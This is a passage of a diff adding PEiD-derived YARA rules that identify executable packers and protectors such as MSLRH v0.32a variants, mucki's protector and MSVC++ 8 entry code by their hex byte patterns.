+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01224_MSLRH_v0_32a__fake_MSVC___DLL_Method_4_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake MSVC++ DLL Method 4) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 56 57 BF 01 00 00 00 8B 75 0C 85 F6 5F 5E 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01225_MSLRH_v0_32a__fake_Neolite_2_0_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake Neolite 2.0) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 A6 00 00 00 B0 7B 40 00 78 60 40 00 7C 60 40 00 00 00 00 00 B0 3F 00 00 12 62 40 00 4E 65 6F 4C 69 74 65 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 43 6F 6D 70 72 65 73 73 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 38 2C 31 39 39 39 20 4E 65 6F 57 6F 72 78 20 49 6E 63 0D 0A 50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 37 2D 31 39 39 39 20 4C 65 65 20 48 61 73 69 75 6B 0D 0A 41 6C 6C 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2E 00 00 00 00 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01226_MSLRH_v0_32a__fake_nSPack_1_3_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake nSPack 1.3) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D3 FE FF FF 8B 06 83 F8 00 74 11 8D B5 DF FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01227_MSLRH_v0_32a__fake_PC_Guard_4_xx_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PC-Guard 4.xx) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 58 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01228_MSLRH_v0_32a__fake_PE_Crypt_1_02_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PE Crypt 1.02) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7 05 50 E8 08 00 00 00 EA FF 58 EB 18 EB 01 0F EB 02 CD 20 EB 03 EA CD 20 58 58 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01229_MSLRH_v0_32a__fake_PE_Lock_NT_2_04_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PE Lock NT 2.04) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 EB 03 CD 20 EB EB 01 EB E8 03 00 00 00 E9 EB 04 58 40 50 C3 EB 03 CD 20 EB EB 03 CD 20 03 61 9D 83 C4 04 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01230_MSLRH_v0_32a__fake_PEBundle_0_2___3_x_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PEBundle 0.2 - 3.x) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01231_MSLRH_v0_32a__fake_PEBundle_2_0x___2_4x_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PEBundle 2.0x - 2.4x) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 83 BD 9C 38 40 00 01 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01232_MSLRH_v0_32a__fake_PECompact_1_4x_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PECompact 1.4x) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 2E A8 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01233_MSLRH_v0_32a__fake_PESHiELD_0_25_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PESHiELD 0.25) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 2B 00 00 00 0D 0A 0D 0A 0D 0A 52 65 67 69 73 74 41 72 65 64 20 74 6F 3A 20 4E 4F 4E 2D 43 4F 4D 4D 45 52 43 49 41 4C 21 21 0D 0A 0D 0A 0D 00 58 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01234_MSLRH_v0_32a__fake_PEtite_2_1_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PEtite 2.1) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 50 40 00 6A 00 68 BB 21 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 83 C4 04 61 66 9D 64 8F 05 00 00 00 00 83 C4 08 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01235_MSLRH_v0_32a__fake_PEX_0_99_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PEX 0.99) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED FF 22 40 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01236_MSLRH_v0_32a__fake_SVKP_1_11_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake SVKP 1.11) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 64 A0 23 00 00 00 83 C5 06 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01237_MSLRH_v0_32a__fake_UPX_0_89_6___1_02___1_05___1_24_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake UPX 0.89.6 - 1.02 / 1.05 - 1.24) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 90 8B 00 8D BE 00 80 B4 FF 57 83 CD FF EB 3A 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B 75 19 8B 1E 83 EE FC 11 DB 72 10 58 61 90 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01238_MSLRH_v0_32a__fake_WWPack32_1_x_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake WWPack32 1.x) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32 20 64 65 63 6F 6D 70 72 65 73 73 69 6F 6E 20 72 6F 75 74 69 6E 65 20 76 65 72 73 69 6F 6E 20 31 2E 31 32 0D 0A 28 63 29 20 31 39 39 38 20 50 69 6F 74 72 20 57 61 72 65 7A 61 6B 20 61 6E 64 20 52 61 66 61 6C 20 57 69 65 72 7A 62 69 63 6B 69 0D 0A 0D 0A 5D 5B 90 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01239_MSLRH_v0_32a__fake_yoda_s_cryptor_1_2_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake yoda's cryptor 1.2) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC 90 2C 8A C0 C0 78 90 04 62 EB 01 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01240_MSLRH_v0_32a____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a -> emadicius (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01241_MSLRH_v0_32a____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a -> emadicius (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF FF FF 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C}
+    condition:
+        $a
+}
+
+rule PEiD_01242_MSLRH_v0_32a____emadicius_
+{
+    meta:
+        description = "[MSLRH v0.32a -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03}
+    condition:
+        $a
+}
+rule PEiD_01243_MSLRH_v32a____emadicius_
+{
+    meta:
+        description = "[MSLRH v32a -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08}
+    condition:
+        $a
+}
+
+rule PEiD_01244_MSLRH_
+{
+    meta:
+        description = "[MSLRH]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01245_MSLRH_
+{
+    meta:
+        description = "[MSLRH]"
+        ep_only = "false"
+    strings:
+        $a = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81}
+    condition:
+        $a
+}
+
+rule PEiD_01246_MSVC___DLL_v_8__typical_OEP_recognized___h__
+{
+    meta:
+        description = "[MSVC++ DLL v.8 (typical OEP recognized - h)]"
+        ep_only = "true"
+    strings:
+        $a = {8B FF 55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 75 09 83 3D ?? ?? ?? ?? 00 EB 26 83 FE 01 74 05 83 FE 02 75 22 A1 ?? ?? ?? ?? 85 C0 74 09 57 56 53 FF D0 85 C0 74 0C 57 56 53 E8 ?? ?? ?? FF 85 C0 75 04 33 C0 EB 4E 57 56 53 E8 ?? ?? ?? FF 83 FE 01 89 45 0C 75 0C 85 C0 75 37 57 50 53 E8 ?? ?? ?? FF 85 F6 74 05 83 FE 03 75 26 57 56 53 E8 ?? ?? ?? FF 85 C0 75 03 21 45 0C 83 7D 0C 00 74 11 A1 ?? ?? ?? ?? 85 C0 74 08 57 56 53 FF D0 89 45 0C 8B 45 0C 5F 5E 5B 5D C2 0C 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01247_MSVC___v_8__procedure_1_recognized___h__
+{
+    meta:
+        description = "[MSVC++ v.8 (procedure 1 recognized - h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 EC 10 A1 ?? ?? ?? ?? 83 65 F8 00 83 65 FC 00 53 57 BF 4E E6 40 BB 3B C7 BB 00 00 FF FF 74 0D 85 C3 74 09 F7 D0 A3 ?? ?? ?? ?? EB 60 56 8D 45 F8 50 FF 15 ?? ?? ?? ?? 8B 75 FC 33 75 F8 FF 15 ?? ?? ?? ?? 33 F0 FF 15 ?? ?? ?? ?? 33 F0 FF 15 ?? ?? ?? ?? 33 F0 8D 45 F0 50 FF 15 ?? ?? ?? ?? 8B 45 F4 33 45 F0 33 F0 3B F7 75 07 BE 4F E6 40 BB EB 0B 85 F3 75 07 8B C6 C1 E0 10 0B F0 89 35 ?? ?? ?? ?? F7 D6 89 35 ?? ?? ?? ?? 5E 5F 5B C9 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01248_mucki_s_protector____mucki_
+{
+    meta:
+        description = "[mucki's protector -> mucki]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2 F7 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01249_mucki_s_protector_II____mucki_
+{
+    meta:
+        description = "[mucki's protector II -> mucki]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 00 00 00 31 C0 89 41 14 89 41 18 80 6A 00 E8 85 C0 74 12 64 8B 3D 18 00 00 00 8B 7F 30 0F B6 47 02 85 C0 74 01 C3 C7 04 24 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01250_mucki_s_protector_II____mucki_
+{
+    meta:
+        description = "[mucki's protector II -> mucki]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 00 00 00 31 C0 89 41 14 89 41 18 80 6A 00 E8 85 C0 74 12 64 8B 3D 18 00 00 00 8B 7F 30 0F B6 47 02 85 C0 74 01 C3 C7 04 24 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2 F7 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01251_MZ0oPE_1_0_6b____TaskFall_
+{
+    meta:
+        description = "[MZ0oPE 1.0.6b -> TaskFall]"
+        ep_only = "true"
+    strings:
